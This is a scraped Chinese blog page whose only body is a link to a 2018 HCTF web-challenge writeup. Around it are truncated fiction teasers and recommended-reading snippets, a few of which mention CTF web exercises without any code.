http://skysec.top/2018/11/09/2018-HCTF-Web-Writeup/#Kzone

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,425评论 4 361
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,058评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,186评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,848评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,249评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,554评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,830评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,536评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,239评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,505评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,004评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,346评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,999评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,060评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,821评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,574评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,480评论 2 267

推荐阅读更多精彩内容

  • 2018/3/16 17:34:51 WEB题 1.签到题 题目:key在哪里? writeup:查看源代码即可获...
    Sec小玖阅读 22,223评论 1 11
  • 我使用的是火狐浏览器 使用火狐浏览器的hackbar插件 如果有错误的地方希望大家多多指出,多谢多谢 WEB2 点...
    yangc随想阅读 54,082评论 11 16
  • 关于Mongodb的全面总结 MongoDB的内部构造《MongoDB The Definitive Guide》...
    中v中阅读 31,789评论 2 89
  • 第一次去我妻子公司,是一个工作日的中午,经过食堂的时候,第一批吃完饭的员工已经返回了,公司的中庭围着一圈员工,人手...
    台风猫阅读 667评论 2 1
  • 同事带回来的礼物, 可爱的小龙人。 一上午的忙活, 变成了这样。 其实 原图是不是更好看一些 (ღ˘⌣˘ღ)
    双耳鱼sure阅读 150评论 0 0